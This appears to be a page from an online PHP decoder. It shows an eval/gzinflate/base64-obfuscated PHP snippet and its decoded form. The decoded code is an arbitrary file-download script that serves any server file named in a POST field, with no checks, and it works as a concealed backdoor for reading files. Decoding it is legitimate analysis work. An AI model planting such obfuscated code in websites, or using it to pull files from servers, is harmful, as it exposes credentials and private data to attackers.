Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php eval("?>".gzinflate(base64_decode("dVJRb9M"."wEH5upPwH"."7zTUFNGmQ3uAZGUVUB"."4BbR..
Decoded Output download
?>b'<?php
error_reporting(0);
if($_POST[\'filename\']){
$filename = $_POST[\'filename\'];
if(is_file($filename)){
header("Content-Type: application/octet-stream");
header(\'Content-Transfer-Encoding: binary\');
header("Content-length: ".@filesize($filename));
header("Content-disposition: attachment; filename=\"".basename($filename)."\";");
$filename = @fopen($filename,"rb");
while(!feof($filename)){
print(@fread($filename, 1024*8));
ob_flush();
flush();
}
fclose($filename);
}
else{
echo "Not Found!";
}
}
?>
<form method="POST">
<input name="filename" style="width:40%;height:19px;" type="text" value="D:/WEB SERVER/test.php" />
<input name="download" type="submit">
</form>
'
Did this file decode correctly?
Original Code
<?php
eval("?>".gzinflate(base64_decode("dVJRb9M"."wEH5upPwH"."7zTUFNGmQ3uAZGUVUB"."4BbRM8MFQ5ybm2lNiWfVlXEP"."8dJ1JK6MAv"."9n36vrvvznd1baWNI3TOuK1DaxwpvUuWszyO4kiJ5Hz7+dPt3bepUDVq3uD0++xnHE3Oh"."5it2FNKEE"."+6E/TKbzs8OQpmvb4/EnmFLoF3RhNqmt8dLG"."aMW1urkpMyOjUlIc09OeQNzPIT4fQodFx7gW6+0aWpQgMZK"."5Tm7jB9ojkWC252JD"."MGi3Vnzasff5n8r65S"."3hqvOnvBKxEvZRPw"."nA3a1T3AouC+D0YpF3AP+aiJ8QjXwljUf8gvwBUj6l52IzwTaMQ/Bz"."mxTmlK1iLMqRplYRf"."Ll5fPX426mZhiK+rWy2SEnQK/hocoa+P"."HPQyUgYG1x6MLLKVh8NEQ+"."2BaXZ3BCTtc12/i6EoY"."17AGSZpqBd3"."qQIcqbVti/QBhqAfM06EO"."wF5V4a8ul89yiWonKbt4bR9zYBQ2ZgWEjwTsgddtCN"."5n6dfNW3a7ufmyuUkJPS3CigNLT4t"."UZq9rw6shi2+LRlHvJe0shsdv"))); ?>
Function Calls
gzinflate | 1 |
base64_decode | 1 |
Stats
MD5 | 358fdcea95e8ce84477f8154fc79a801 |
Eval Count | 1 |
Decode Time | 129 ms |